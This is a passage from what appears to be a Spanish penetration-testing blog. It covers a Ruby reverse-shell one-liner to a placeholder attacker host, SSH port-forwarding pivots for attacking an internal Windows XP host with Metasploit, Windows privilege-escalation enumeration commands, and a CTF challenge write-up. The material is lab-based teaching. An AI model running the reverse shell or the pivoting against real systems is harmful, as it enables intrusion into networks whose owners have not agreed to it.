- ruby -rsocket -e ‘c=TCPSocket.new(«attackerip»,»4444″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’
Más información
Indicar que todas las reverse shell descritas aquí han sido probadas con éxito en fecha 17 de Abril de 2016 con una distribución Kali como cliente y una distribución Ubuntu como servidor
Por último, se indican algunas de las fuentes más relevantes consultadas para la realización de este pequeño post:
SSH – Port Forwarding
En este post se explicará como realizar port forwarding con ssh y se verá alguna de sus posibles aplicaciones.
Introducción
El protocolo ssh es comúnmente utilizado para acceder a un terminal/sistema remoto y poder ejecutar comandos de forma segura. Sin embargo, también es posible utilizar este protocolo para realizar port forwarding, es decir, reenviamiento de puertos mediante la creación de túneles ssh entre los extremos de la conexión.
Con este mecanismo es posible realizar evasiones de firewall o bloqueos de puertos, independientemente de que el emisor-receptor se encuentren en redes diferentes, siempre que haya la posibilidad de conectarse mediante SSH.
Escenario de demostración
Para realizar esta demo se han utilizado tres máquinas diferentes en dos redes, externa e interna:
- Kali Linux de nombre «Sheron» y IP 192.168.1.58, con un cliente SSH y cuyo rol es el de ser la máquina atacante. Se encuentra en la red externa.
- Kali Linux de nombre «Goku» y con dos direcciones IP: 192.168.1.46 y 192.168.2.136, con un servidor ssh y cuyo rol es el de router entre la red externa (192.168.1.XX) y la red interna (192.168.2.XX).
- Windows XP de nombre «Mutenroshi», con IP 192.168.2.133, cuyo rol es ser, como no, la máquina víctima. Se encuentra en la red interna.
Este escenario intenta simular un ataque realizado desde Internet hacia el router de la víctima, y una vez el atacante tiene el control de dicho router mediante el uso de túneles ssh puede interaccionar con las máquinas de la red interna.
Nota: Únicamente el router tiene visibilidad de las dos redes, la máquina atacante no puede ver directamente la máquina víctima.
Parte I: Comunicaciones entre el atacante y el router
Local Port Forwarding entre la máquina atacante y el router
Los actores que participan son los siguientes:
- Atacante: Kali Linux con IP 192.168.1.58 desde Internet
- Víctima: Router con IP 192.168.1.46 accesible desde Internet
Nota: En este escenario, el atacante ya ha conseguido previamente un usuario del router
El objetivo es conseguir que un servicio publicado del router sea redireccionado a la máquina atacante. En este caso concreto, se enviará el puerto remoto 80 del router al puerto local 8080 de la máquina atacante.
Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58) :
ssh -N -f -L localhost:8080:localhost:80 nyanyi@192.168.1.46
La explicación de la instrucción es la siguiente:
- N: No se ejecutan comandos remotos, únicamente se establece conexión.
- f: Se envía ssh a background.
- L: Como el servicio deseado esta siendo publicado por el servidor ssh en el router, no por el cliente ssh en la Kali atacante, se ha de realizar un Local Port Forwarding. El concepto sería que el cliente de ssh se «trae» localmente el servicio remoto publicado por el servidor ssh.
- <puerto destino del cliente ssh>:<ip origen de la red interna del servidor ssh:puerto origen de la ip de la red interna del servidor ssh> <user@ip_servidor ssh>
- <local port to listen>:<remote host>:<remote port> <gateway>
Remote Port Forwarding entre la máquina atacante y el router
Los actores que participan son los siguientes:
- Atacante: Kali Linux con IP 192.168.1.58 desde Internet
- Víctima: Router con IP 192.168.1.46 accesible desde Internet
El objetivo es conseguir publicar un servicio local del cliente ssh (atacante) de forma remota en el servidor ssh (router). Se enviará el puerto local 80 de Kali Linux con IP 192.168.1.58 al puerto remoto 8085 del router con IP 192.168.1.46.
Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58):
ssh -N -f -R localhost:8085:localhost:80 nyanyi@192.168.1.46
La explicación de la instrucción es la siguiente:
- R: En este caso, el servicio se está publicando en el cliente ssh (atacante), por lo tanto hay que «enviarlo» al servidor ssh (router), esto se realiza mediante un Remote Port Forwarding.
- <puerto destino de la dirección ip del servidor ssh><ip origen de la red del atacante:puerto origen de la ip de la red del atacante> <user@ip_servidor ssh>
- <remote port to bind>:<local host>:<local port> <gateway>
Truco
Para saber si hay que realizar Local o Remote port forwarding, un truco sencillo es «ubicar» el servicio que se desea redirigir. Si el servicio está publicado en el servidor ssh y se desea publicarlo en el cliente, entonces es Local, por el contrario, si el servicio se encuentra en el cliente ssh y se desea publicar en el servidor ssh, entonces será Remote.
Parte II: Atacando a la red interna – Servidor ssh como máquina puente
En este punto, el atacante (Kali Linux con IP 192.168.1.58) quiere atacar a la máquina víctima Windows XP (IP 92.168.2.133) ubicada en la red interna y que no es visible desde el exterior. Para conseguir este hito el atacante utilizará el router ( que tiene un servidor ssh instalado) como máquina puente.
Local Port forwarding desde la máquina víctima a la máquina atacante
El objetivo es conseguir redirigir (o para entendernos, capturar) el servicio RDP de la máquina Windows XP (interna) a la máquina atacante (externa) mediante el servidor de ssh (router) . En este caso concreto, se enviará el puerto 3389 de Windows XP (192.168.2.133) al puerto 9090 de máquina atacante (192.168.1.58) utilizando para ello el router (servidor de ssh), como máquina de salto.
Para lograrlo, se ejecuta lo siguiente en la máquina atacante:
ssh -N -f -L localhost:9090:192.168.2.133:3389 nyanyi@192.168.1.46
La explicación de la instrucción es la siguiente:
- L: Como el servicio deseado esta siendo publicado por una dirección IP de la red interna del servidor ssh y/o no es un servicio propio del cliente ssh, la máquina atacante realiza un Local Port Forwarding para «traerse» el servicio
- <puerto destino del cliente ssh><ip origen del lado servidor ssh:puerto origen del lado servidor ssh> <user@ip_servidor ssh>
En este punto es importante remarcar que cuando se realiza un Local Port al cliente ssh, el puerto redirigido puede acceptar conexiones externas de otras máquinas. La instrucción sería:
ssh -N -f -L 0.0.0.0:port cliente:ip red interna:port_ip_red_interna user@server_ssh
Remote Port forwarding desde la máquina atacante a la máquina cliente sin usuario root del servidor ssh
En el apartado anterior se ha comentado la posibilidad de permitir conexiones entrantes a un servicio redirigido locamente al cliente ssh. Pero,por seguridad, no es posible permitir que el servidor ssh acepte conexiones entrantes a un servicio publicado mediante Remote Port forwarding… ¿Seguro que no es posible?
La respuesta a esta pregunta es que utilizando diferentes técnicas sí que es posible, pero es un poco más complicado que lo visto hasta ahora. Se puede realizar si el atacante es root del servidor ssh o utilizando dos túneles y/o el parámetro -g (bendito parámetro).
Aceptación de conexiones entrantes mediante dos túneles
El objetivo es conseguir publicar el servidor web de la máquina atacante en el servidor ssh (router) y que la máquina víctima de la red interna se pueda conectar.
En la máquina atacante (cliente ssh) se utiliza la siguiente instrucción:
ssh -R localhost:7894:localhost:80 nyanyi@192.168.1.46
Ahora, en el ROUTER, se ejecuta la siguiente instrucción:
ssh -g -L 8282:localhost:7894 nyanyi@localhost
- El parámetro g, extraído directamente del man de ssh: Allows remote hosts to connect to local forwarded ports.
Otra manera de hacerlo, inclusive sin el parámetro g es:
ssh -L 0.0.0.0:8226:localhost:7894 nyanyi@localhost
Aceptación de conexiones entrantes siendo root del servidor ssh
En el caso que el atacante disponga del usuario root (o usuarios con privilegios sudo) puede modificar la configuración del servidor ssh para que acepte conexiones entrantes en puertos redirigidos de forma remota.
El fichero que se ha de modificar es: /etc/ssh/sshd_config y se ha de escribir la siguiente opción: GatewayPorts clientspecified
Luego: sudo /etc/init.d/ssh reload
Y finalmente, la instrucción que se ha de ejecutar desde el cliente ssh es:
ssh -R 0.0.0.0:8095:localhost:80 nyanyi@192.168.1.46
Nota: En este caso, con una sola instrucción ya sirve, en contraposición con el caso anterior, que se necesitan dos instrucciones. Eso si, se ha de ser root.
Comprobaciones de las conexiones
A continuación se listan varios comandos con «netstat» que se pueden utilizar para comprobar el estado de las conexiones realizadas:
- netstat -punta
- netstat -ltn
Parte III: Caso Práctico – Atacando con Metasploit a la víctima
En este punto, el atacante dispone de lo siguiente:
1- Acceso a la maquina router con usuario «low privilege».
2- Conoce que en la máquina Windows XP se está ejecutando un software vulnerable «WarFTP ver 1.65» en el puerto 21 y que hay un exploit en Metasploit.
3- Al no haber visibilidad entre la máquina atacante y la víctima (redes diferentes) se ha de utilizar la máquina router y su servidor de ssh para redirigir las comunicaciones.
Nota: Los puertos que se utilizan en este escenario (excepto el 21) son aleatorios.
Local Port Forwarding del puerto 21 de la máquina víctima a la máquina atacante
En la máquina atacante, se ejecuta la siguiente instrucción:
ssh -N -f -L 5668:192.168.2.133:21 nyanyi@192.168.1.46
En este momento, en la máquina atacante está publicado en el puerto 5668 el puerto 21 (servicio War FTPD vulnerable) de la máquina Windows XP (víctima) utilizando el router como máquina de salto.
Remote Port Forwarding del puerto 2682 de la maquina atacante al servidor ssh
El atacante tiene diferentes opciones para realizar la conexión con el payload, como podría ser utilizar una máquina con una dirección pública o inclusive un payload de conexión directa (bind shell). Pero en esta demo se va a realizar mediante una reverse shell dado que se requiere una configuración más compleja.
Al utilizar Metasploit, es necesario redirigir un puerto de la máquina atacante en el servidor SSH para que el payload (meterpreter) realice la conexión a traves de una reverse shell hacia este puerto.
En la máquina atacante se ejecuta la siguiente instrucción:
ssh -R 7895:localhost:2682 nyanyi@192.168.1.46
Y ahora es necesario configurar en el servidor ssh que se acepten conexiones remotas. Por lo tanto, en el servidor ssh se debe ejecutar alguna de las siguientes instrucciones:
ssh -g -L 2682:localhost:7895 nyanyi@localhost
ssh -L 0.0.0.0:2682:localhost:7895 nyanyi@localhost
Nota: Recordar que también es posible modificar la configuración del servidor ssh si se dispone del usuario root.
Configuración del ataque con Metasploit
La configuración del ataque con Metasploit se realiza de la siguiente manera:
Donde:
- RHOST: Se indica la dirección 0.0.0.0 ya que el exploit será lanzado contra la misma máquina cliente (atacante) ya que tiene redirigido el puerto de la máquina víctima.
- RPORT: Se indica 5668 por que es el puerto que redirige al puerto 21 de la maquina víctima. En resumen, se lanzara el ataque a la misma máquina atacante por que mediante la redirección de puertos por ssh realmente el ataque alcanzará a la máquina víctima.
- Atención: Metasploit y los túneles SSH suelen dar problemas. Es más recomendable utilizar dynamic port forwarding ( SSH -D port) y las instrucciones «set Proxies socks4:0.0.0.0:port»
y «set ReverseAllowProxy true» que no redireccionamientos con -L o -R. En el caso de utilizar puertos remotos o locales, como en este ejercicio, no hay que utilizar NUNCA la dirección 127.0.0.1 en RHOST, ya que podría impedir el correcto funcionamiento del exploit/payload utilizado. Se puede substituir por la dirección 127.0.0.2 o semejantes, aunque lo mejor en estos casos, es utilizar la dirección 0.0.0.0 - LHOST: Se indica la dirección IP del servidor ssh visible desde la red de la víctima.
- LPORT: Se indica el puerto redirigido remotamente desde la máquina atacante al servidor ssh.
- Mediante la configuración de LHOST y LPORT cuando se ejecute el payload, éste intentara conectarse al servidor SSH que a su vez, redirigirá las comunicaciones a la máquina atacante mediante los puertos SSH creados.
A continuación se muestra una imagen de como el ataque tiene éxito:
Nota: Esta fuera del alcance de este post explicar conceptos de metasploit.
Escalada de privilegios en sistemas Windows (I)
En esta serie de posts hablaremos de cómo realizar una escalada de privilegios en un sistema Windows, es decir, llegar a ser SYSTEM desde una cuenta de usuario sin privilegios.
En ocasiones la principal estrategia utilizada se basa en probar exploits para la versión de windows del objetivo, y aunque esto puede ser efectivo un gran numero de veces, queremos presentar una breve guía divida en fases que permitan al pentester realizar la escalada de privilegios de una forma ordenada, eficiente y probando diferentes vectores de ataque.
Remarcar que actualmente existen muchas referencias en Internet que tratan este tema siendo algunas de las principales las mencionadas a continuación:
- FuzzySecurity
- Encyclopaedia Of Windows Privilege Escalation – Brett Moore
- Windows Attacks At Is The New Black – Rob Fuller And Chris Gates
- Windows Privilege Cheatsheet
- Windows_Services – All roads lead to SYSTEM
- Windows privilege escalation
En nuestro caso queremos hacer una síntesis de ellas y explicarlas paso a paso, sin embargo, señalar que queda fuera del alcance de este post como conseguir la Shell en el sistema.
Aclarado todo, empecemos, tenemos una Shell en una maquina Windows, molto benne…¿y ahora que demonios hacemos?
¿Dónde estoy? ¿Qué es ESTO? – Information gathering
Bien, en estos momentos, disponemos de una Shell en un sistema Windows. Antes de lanzarnos al ataque y disparar a todo lo que se mueva, es esencial realizar la fase de Information gathering.
Lo principal es no obcecarse con ser SYSTEM, primero hay que conocer el entorno, cuanta más información se tiene del activo más fácil es detectar un posible fallo de seguridad.
Información general
Sin ninguna duda, lo primero es obtener la versión exacta de Windows (OS Version) y (OS Name) y información genérica. Para este propósito, se ejecuta el siguiente comando:
- systeminfo
- Otra posibilidad: systeminfo | findstr /B /C:»OS Name» /C:»OS Version» (ojo con los idiomas)
Ok, ahora vamos a saber como se llama el host, que aunque parezca no relevante, siempre nos puede aportar información o alguna pista.
- hostname
Finalmente, es el momento de saber con que usuario estamos logged en el sistema, a lo mejor ya somos admin y no hace falta hacer nada más, aparte de celebrar una gran fiesta.
- echo %username%
- whoami
Información sobre usuarios
Siguiente paso, todo sistema operativo tiene usuarios que lo utilizan, miremos que usuarios tiene nuestro objetivo:
- net users – net user $name_user
Vaya vaya Joe, además del usuario «Administrador» también existe el usuario «Nyanyi» que pertenece al grupo «Administradores»…..uhmm….interesante. Con este simple comando acabamos de ampliar las opciones de ataque.
Información de red
¿Está el host solo en el mundo? ¿en que red está? ¿con que máquinas habla?. Tener la respuesta a estas preguntas podría ser la puerta de acceso a otras máquinas del entorno, imaginar que se puede alcanzar el ansiado SYSTEM en esta máquina pero si dirigir el pentest a otras máquinas .
Por otra parte, es muy útil conocer que servicios están a la escucha en el activo,que conexiones hay con otras máquinas. Quién sabe, a lo mejor algunos de los servicios publicados es vulnerable…
Los comandos a ejecutar serían los siguientes:
- ipconfig /all
- route print
- arp -A
- netstat -ano
Nota: A partir de XP SP2 utilizar los siguientes comandos para obtener información sobre el Firewall de la máquina:
- netsh firewall show state
- netsh firewall show config
Información sobre los servicios
Hasta este punto, se ha hablado sobre cómo obtener información general del sistema, que usuarios tiene y que comunicaciones hay a nivel de red. Uno de los últimos puntos a tratar en esta introducción son las «tareas» o «servicios» existentes en la máquina.
De momento, sin querer entrar en detalle, un servicio no es más que la ejecución, en segundo plano, de un binario. Por lo tanto, hay 3 conceptos claves:
- Binario que determina que acciones realizara el servicio.
- Usuario que ejecuta el servicio.
- Los privilegios del servicio, por ende, serán los mismos que los del usuario.
Los comandos a ejecutar para obtener la información relacionada con los servicios son los siguientes:
- schtasks /query /fo LIST /v | more (tareas programadas)
- tasklist /SVC (servicios relacionado con su proceso)
- net start
- sc queryex type= service state= all | find «$_NAME» (hablaremos más adelante de este comando (thanks P4chul0).
Conclusiones de la fase I
Con toda la información que hemos obtenido es el momento de realizar una primera iteración con el objetivo de lograr System, o en su defecto, un usuario administrador.
Pruebas a realizar:
- Tenemos el nombre de los usuarios, a lo mejor, hay alguno de ellos sin contraseña o que ésta sea su mismo nombre. O inclusive, que la contraseña sea el nombre del hostname….por qué no?.
- Se puede buscar su nombre de usuario en Checkusernames con la idea de obtener aún más información de redes sociales.
- Probar los usuarios en otras máquinas de la red.
- ¿Hay algún servicio publicado vulnerable?
- Imaginar
Si nada de esto funciona, pasaremos a la fase II. Es esencial recopilar toda la información obtenida en esta fase, porque cualquier dato obtenido puede ser la clave que nos ayude en procesos futuros más complejos, por ejemplo, la búsqueda de un exploit o una reverse shell por un puerto que no este cerrado por el firewall…
Reto 1 del CTF de las No cON Name 2013
Hola a todos, hola a tothom!
Mi nombre es Ignasi M. (ny4nyi) y he tenido el placer de ser invitado a participar en este blog. Es todo un honor. Espero que todo lo que pueda aportar os sea útil y disfrutéis!
Sobretodo, dar las gracias a Julian y a todo el equipo por darme esta oportunidad de poder participar con gente tan grande.
Ahora, a por materia.
El primer reto del CTF NoConName 2013 consistía en una página web que solicita una clave secreta para superar el reto.
Paso 1
La primera aproximación fue probar un número aleatorio para estudiar el comportamiento normal de la página. Obviamente, se produce un error de “Clave incorrecta” y se sigue en la misma página inicial (ya hubiera sido la ostia acertar a la primera ).
Una vez se conoce el comportamiento estándar de la página, se realizó un estudio del código fuente de la misma, y se encuentra lo siguiente:
<head>
<title>NcN 2013 Registration Quals</title>
<link rel=»stylesheet» href=»../res/main.css» type=»text/css» media=»screen»/>
<link href=’../res/UbuntuMono.css’ rel=’stylesheet’ type=’text/css’>
<meta content=»Javier Marcos @javutin» name=»author» />
<script type=»text/javascript» src=»crypto.js»></script>
</head>
Se accede al archivo “cryto.js” para obtener su código fuente. Es algo tan bonito como esto:
var_0x52ae=[«\x66\x20\x6F\x28\x38\x29\x7B\x63\x20\x69\x2C\x6A\x3D\x30\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x69\x2B\x2B\x29\x7B\x6A\x2B\x3D\x28\x38\x5B\x69\x5D\x2E\x73\x28\x29\x2A\x28\x69\x2B\x31\x29\x29\x7D\x67\x20\x74\x2E\x75\x28\x6A\x29\x25\x76\x7D\x66\x20\x70\x28\x68\x29\x7B\x68\x3D\x68\x2E\x71\x28\x30\x29\x3B\x63\x20\x69\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x77\x3B\x2B\x2B\x69\x29\x7B\x63\x20\x35\x3D\x69\x2E\x78\x28\x79\x29\x3B\x6D\x28\x35\x2E\x6C\x3D\x3D\x31\x29\x35\x3D\x22\x30\x22\x2B\x35\x3B\x35\x3D\x22\x25\x22\x2B\x35\x3B\x35\x3D\x7A\x28\x35\x29\x3B\x6D\x28\x35\x3D\x3D\x68\x29\x41\x7D\x67\x20\x69\x7D\x66\x20\x6E\x28\x38\x29\x7B\x63\x20\x69\x2C\x61\x3D\x30\x2C\x62\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x2B\x2B\x69\x29\x7B\x62\x3D\x70\x28\x38\x2E\x71\x28\x69\x29\x29\x3B\x61\x2B\x3D\x62\x2A\x28\x69\x2B\x31\x29\x7D\x67\x20\x61\x7D\x66\x20\x42\x28\x39\x29\x7B\x63\x20\x32\x3B\x32\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x32\x3D\x32\x2A\x28\x33\x2B\x31\x2B\x33\x2B\x33\x2B\x37\x29\x3B\x32\x3D\x32\x3E\x3E\x3E\x36\x3B\x32\x3D\x32\x2F\x34\x3B\x32\x3D\x32\x5E\x43\x3B\x6D\x28\x32\x21\x3D\x30\x29\x7B\x72\x28\x27\x44\x20\x64\x21\x27\x29\x7D\x45\x7B\x72\x28\x27\x46\x20\x64\x20\x3A\x29\x27\x29\x7D\x39\x2E\x47\x2E\x65\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x39\x2E\x48\x2E\x65\x3D\x22\x49\x22\x2B\x6F\x28\x39\x2E\x64\x2E\x65\x29\x3B\x67\x20\x4A\x7D»,»\x7C»,»\x73\x70\x6C\x69\x74″,»\x7C\x7C\x72\x65\x73\x7C\x7C\x7C\x68\x65\x78\x5F\x69\x7C\x7C\x7C\x73\x74\x72\x7C\x66\x6F\x72\x6D\x7C\x7C\x7C\x76\x61\x72\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x76\x61\x6C\x75\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x6F\x6F\x7C\x7C\x68\x61\x73\x68\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x66\x7C\x6E\x75\x6D\x65\x72\x69\x63\x61\x6C\x5F\x76\x61\x6C\x75\x65\x7C\x73\x69\x6D\x70\x6C\x65\x48\x61\x73\x68\x7C\x61\x73\x63\x69\x69\x5F\x6F\x6E\x65\x7C\x63\x68\x61\x72\x41\x74\x7C\x61\x6C\x65\x72\x74\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x4D\x61\x74\x68\x7C\x61\x62\x73\x7C\x33\x31\x33\x33\x37\x7C\x32\x35\x36\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x31\x36\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x62\x72\x65\x61\x6B\x7C\x65\x6E\x63\x72\x79\x70\x74\x7C\x34\x31\x35\x33\x7C\x49\x6E\x76\x61\x6C\x69\x64\x7C\x65\x6C\x73\x65\x7C\x43\x6F\x72\x72\x65\x63\x74\x7C\x6B\x65\x79\x7C\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x7C\x79\x65\x73\x7C\x74\x72\x75\x65″,»»,»\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65″,»\x72\x65\x70\x6C\x61\x63\x65″,»\x5C\x77\x2B»,»\x5C\x62″,»\x67″];eval(function (_0x7038x1,_0x7038x2,_0x7038x3,_0x7038x4,_0x7038x5,_0x7038x6){_0x7038x5=function (_0x7038x3){return (_0x7038x3<_0x7038x2?_0x52ae[4]:_0x7038x5(parseInt(_0x7038x3/_0x7038x2)))+((_0x7038x3=_0x7038x3%_0x7038x2)>35?String[_0x52ae[5]](_0x7038x3+29):_0x7038x3.toString(36));};if(!_0x52ae[4][_0x52ae[6]](/^/,String)){while(_0x7038x3-)_0x7038x6[_0x7038x5(_0x7038x3)]=_0x7038x4[_0x7038x3]||_0x7038x5(_0x7038x3);} ;_0x7038x4=[function (_0x7038x5){return _0x7038x6[_0x7038x5];} ];_0x7038x5=function (){return _0x52ae[7];} ;_0x7038x3=1;} ;while(_0x7038x3–){if(_0x7038x4[_0x7038x3]){_0x7038x1=_0x7038x1[_0x52ae[6]]( new RegExp(_0x52ae[8]+_0x7038x5(_0x7038x3)+_0x52ae[8],_0x52ae[9]),_0x7038x4[_0x7038x3]);} ;} ;return _0x7038x1;} (_0x52ae[0],46,46,_0x52ae[3][_0x52ae[2]](_0x52ae[1]),0,{}));
Como se puede ver, el código del “js” esta ofuscado (lastima, habrá que currar más). Ha de quedar claro que esta ofuscado, NO cifrado.
Si se disecciona el código, a grandes rasgos se puede detectar lo siguiente:
- Una variable de nombre “var_0x52ae” : Parece ser un vector donde el valor de cada posición está representado en código hexadecimal. Recordar que si un valor se escribe como “\x” significa que se representa en sistema hexa.
- Una función eval: Definición purista, “Si el argumento es una expresión, eval () evalúa la expresión. Si el argumento es una o más sentencias JavaScript, eval () ejecuta las sentencias.”
- La definición de funciones: Por ejemplo, “function (_0x7038x1,…)”
- La llamada de funciones: Por ejemplo, “(_0x52ae[0],46,46,_0x52ae[3])”
Aclarar que en las definiciones de las funciones se ven nombres de parámetros tal que “_0x_7038x1” pero se desconoce su valor. Esto es porque en una declaración de función se puede dar cualquier nombre al parámetro, que luego éste recibirá el valor del parámetro usado en la llamada. En resumen, cuando se llame a la función, el valor del parámetro será el siguiente:
_0x7038x1=_0x52AE[0]=”\x66…..\7D”.
Paso 2
Para desofuscar el código js se pueden utilizar diferentes recursos online en la red, o simplemente, modificar la función “eval” por una función “alert” que se encargara de imprimir en una ventana la representación del código sin ofuscar, ya que interpretara todos los valores hexadecimales posibles como caracteres.
El resultado es el siguiente:
El código sin ofuscar es:
Function simpleHash(str) {
var i, hash = 0;
for (i = 0; i < str.length; i++) {
hash += (str[i].charCodeAt() * (i + 1))
}
return Math.abs(hash) % 31337
}
function ascii_one(foo) {
foo = foo.charAt(0);
var i;
for (i = 0; i < 256; ++i) {
var hex_i = i.toString(16);
if (hex_i.length == 1) hex_i = «0» + hex_i;
hex_i = «%» + hex_i;
hex_i = unescape(hex_i);
if (hex_i == foo) break
}
return i
}
function numerical_value(str) {
var i, a = 0,
b;
for (i = 0; i < str.length; ++i) {
b = ascii_one(str.charAt(i));
a += b * (i + 1)
}
return a
}
function encrypt(form) {
var res;
res = numerical_value(form.password.value);
res = res * (3 + 1 + 3 + 3 + 7);
res = res >>> 6;
res = res / 4;
res = res ^ 4153;
if (res != 0) {
alert(‘Invalid password!’)
} else {
alert(‘Correct password :)’)
}
form.key.value = numerical_value(form.password.value);
form.verification.value = «yes» + simpleHash(form.password.value);
return true}
Paso 3
La lógica general de este código es la siguiente:
- La función “numerical_value” recibe el valor o cadena “X” que introduce el usuario en la página web y retorna un valor resultado que es la suma de cada carácter de la cadena X en su correspondiente valor decimal ASCII multiplicado por el resultado de la suma del valor de la posición del carácter en la cadena X +1
- La función “encryp” se encarga primero de aplicar varias operaciones sobre el valor retornado por la función “numerical_value” y después compara este valor “final” con 0. Si la comparación es cierta, el password (cadena “X”) introducida por el usuario es correcta.
- Estudiando con más detalle la función “encrypt” se determina que el valor “final” ha de estar entre el siguiente rango de valores :62540-62554.
Ya con esta información clara el último paso es introducir, mediante técnicas de “brute forcing”, una cadena de valores/caracteres que después de ser tratada por la función “numerical_value” de un valor que pertenezca al rango deseado.
En este caso se encontró la siguiente cadena:
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZNR
Se introdujo esta cadena en la página web y tachan!:
Congrats! you passed the level! Here is the key:
23f8d1cea8d60c5816700892284809a94bd00fe7347645b96a99559749c7b7b8
Twitter: @Ny4nyi
Testpurposes 